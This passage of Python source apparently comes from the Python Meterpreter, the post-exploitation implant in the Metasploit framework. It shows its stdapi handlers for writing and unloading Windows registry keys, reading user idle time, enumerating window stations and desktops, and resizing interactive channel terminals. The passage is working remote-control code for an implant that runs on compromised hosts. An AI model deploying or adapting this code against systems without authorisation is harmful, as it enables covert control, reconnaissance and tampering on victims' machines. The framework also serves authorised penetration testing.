    hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
    return _wreg_set_value(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_set_value_direct(request, response):
    err, hkey = _wreg_open_key(request)
    if err != ERROR_SUCCESS:
        return error_result_windows(err), response
    ret = _wreg_set_value(request, response, hkey)
    _wreg_close_key(hkey)
    return ret

@register_function_if(has_windll)
def stdapi_registry_unload_key(request, response):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
    result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
    return result, response

@register_function_if(has_windll)
def stdapi_ui_get_idle_time(request, response):
    GetLastInputInfo = ctypes.windll.user32.GetLastInputInfo
    GetLastInputInfo.argtypes = [ctypes.c_void_p]
    GetLastInputInfo.restype = ctypes.c_int8
    info = LASTINPUTINFO()
    info.cbSize = ctypes.sizeof(LASTINPUTINFO)
    if not GetLastInputInfo(ctypes.byref(info)):
        return error_result_windows(), response
    GetTickCount = ctypes.windll.kernel32.GetTickCount
    GetTickCount.restype = ctypes.c_uint32
    idle_time = (GetTickCount() - info.dwTime) / 1000
    response += tlv_pack(TLV_TYPE_IDLE_TIME, idle_time)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_ui_desktop_enum(request, response):
    response_parts = []
    if ctypes.sizeof(ctypes.c_long) == ctypes.sizeof(ctypes.c_void_p):
        LPARAM = ctypes.c_long
    elif ctypes.sizeof(ctypes.c_longlong) == ctypes.sizeof(ctypes.c_void_p):
        LPARAM = ctypes.c_longlong

    DESKTOPENUMPROCA = ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_char_p, LPARAM)
    EnumDesktopsA = ctypes.windll.user32.EnumDesktopsA
    EnumDesktopsA.argtypes = [ctypes.c_void_p, DESKTOPENUMPROCA, LPARAM]
    EnumDesktopsA.restype = ctypes.c_long

    WINSTAENUMPROCA = ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_char_p, LPARAM)
    EnumWindowStationsA = ctypes.windll.user32.EnumWindowStationsA
    EnumWindowStationsA.argtypes = [WINSTAENUMPROCA, LPARAM]
    EnumWindowStationsA.restype = ctypes.c_long

    OpenWindowStationA = ctypes.windll.user32.OpenWindowStationA
    OpenWindowStationA.argtypes = [ctypes.c_char_p, ctypes.c_long, ctypes.c_bool]
    OpenWindowStationA.restype = ctypes.c_void_p

    CloseWindowStation = ctypes.windll.user32.CloseWindowStation
    CloseWindowStation.argtypes = [ctypes.c_void_p]
    CloseWindowStation.restype = ctypes.c_long

    GetCurrentProcessId = ctypes.windll.kernel32.GetCurrentProcessId
    GetCurrentProcessId.restype = ctypes.c_ulong

    GetProcAddress = ctypes.windll.kernel32.GetProcAddress
    GetProcAddress.argtypes = [ctypes.c_void_p, ctypes.c_char_p]
    GetProcAddress.restype = ctypes.c_void_p

    def get_session_id(pid):
        dwSessionId = ctypes.c_ulong(0)

        ProcessIdToSessionId = ctypes.windll.kernel32.ProcessIdToSessionId
        ProcessIdToSessionId.argtypes = [ctypes.c_ulong, ctypes.POINTER(ctypes.c_ulong)]
        ProcessIdToSessionId.restype = ctypes.c_bool

        if not ProcessIdToSessionId(ctypes.c_ulong(pid), ctypes.byref(dwSessionId)):
            dwSessionId = ctypes.c_ulong(-1)

        return dwSessionId


    def desktop_enumdesktops_callback(response_parts, session_id, station_name, lpszDesktop, lParam):
        if not station_name or not lpszDesktop:
            return True

        entry  = bytes()
        entry += tlv_pack(TLV_TYPE_DESKTOP_SESSION, session_id)
        entry += tlv_pack(TLV_TYPE_DESKTOP_STATION, station_name)
        entry += tlv_pack(TLV_TYPE_DESKTOP_NAME, lpszDesktop.decode())

        response_parts.append(tlv_pack(TLV_TYPE_DESKTOP, entry))

        return True

    @WINSTAENUMPROCA
    def desktop_enumstations_callback(lpszWindowStation, lParam):
        hWindowStation = OpenWindowStationA(lpszWindowStation, False, MAXIMUM_ALLOWED)
        if not hWindowStation:
            return True

        callback = functools.partial(desktop_enumdesktops_callback, response_parts)
        session_id = get_session_id(GetCurrentProcessId()).value
        station_name = lpszWindowStation.decode()
        callback = functools.partial(desktop_enumdesktops_callback, response_parts, session_id, station_name)
        callback = DESKTOPENUMPROCA(callback)
        EnumDesktopsA(hWindowStation, callback, 0)

        if hWindowStation:
            CloseWindowStation(hWindowStation)

        return True

    success = EnumWindowStationsA(desktop_enumstations_callback, 0)
    if not success:
        return error_result_windows(), response

    response += bytes().join(response_parts)

    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_ui_desktop_get(request, response):
    UOI_NAME = 2

    GetCurrentProcessId = ctypes.windll.kernel32.GetCurrentProcessId
    GetCurrentProcessId.restype = ctypes.c_ulong

    GetProcessWindowStation = ctypes.windll.user32.GetProcessWindowStation
    GetProcessWindowStation.restype = ctypes.c_void_p

    GetUserObjectInformationA = ctypes.windll.user32.GetUserObjectInformationA
    GetUserObjectInformationA.argtypes = [ctypes.c_void_p, ctypes.c_int32, ctypes.c_void_p, ctypes.c_ulong, ctypes.POINTER(ctypes.c_ulong)]
    GetUserObjectInformationA.restype = ctypes.c_bool

    GetCurrentThreadId = ctypes.windll.kernel32.GetCurrentThreadId
    GetCurrentThreadId.restype = ctypes.c_ulong

    GetThreadDesktop = ctypes.windll.user32.GetThreadDesktop
    GetThreadDesktop.argtypes = [ctypes.c_ulong]
    GetThreadDesktop.restype = ctypes.c_void_p

    ProcessIdToSessionId = ctypes.windll.kernel32.ProcessIdToSessionId
    ProcessIdToSessionId.argtypes = [ctypes.c_ulong, ctypes.POINTER(ctypes.c_ulong)]
    ProcessIdToSessionId.restype = ctypes.c_bool

    dwSessionId = ctypes.c_ulong(0)
    if not ProcessIdToSessionId(GetCurrentProcessId(), ctypes.byref(dwSessionId)):
        return error_result_windows(), response

    station_name = ctypes.create_string_buffer(bytes(), 256)
    success = GetUserObjectInformationA(GetProcessWindowStation(), UOI_NAME, ctypes.byref(station_name), 256, None)
    if not success:
        return error_result_windows(), response

    desktop_name = ctypes.create_string_buffer(bytes(), 256)
    success = GetUserObjectInformationA(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, ctypes.byref(desktop_name), 256, None)
    if not success:
        return error_result_windows(), response

    response += tlv_pack(TLV_TYPE_DESKTOP_SESSION, dwSessionId.value)
    response += tlv_pack(TLV_TYPE_DESKTOP_STATION, station_name.value.decode())
    response += tlv_pack(TLV_TYPE_DESKTOP_NAME, desktop_name.value.decode())
    return ERROR_SUCCESS, response

@register_function_if(has_termios and has_fcntl)
def stdapi_sys_process_set_term_size(request, response):
    channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
    rows = packet_get_tlv(request, TLV_TYPE_TERMINAL_ROWS)['value']
    columns = packet_get_tlv(request, TLV_TYPE_TERMINAL_COLUMNS)['value']
    if channel_id in meterpreter.interact_channels:
        proc_h = meterpreter.channels[channel_id].proc_h
        winsize = struct.pack("HHHH", rows, columns, 0, 0)
        fcntl.ioctl(proc_h.stdin, termios.TIOCSWINSZ, winsize)
    else:
        return ERROR_FAILURE, response
    return ERROR_SUCCESS, response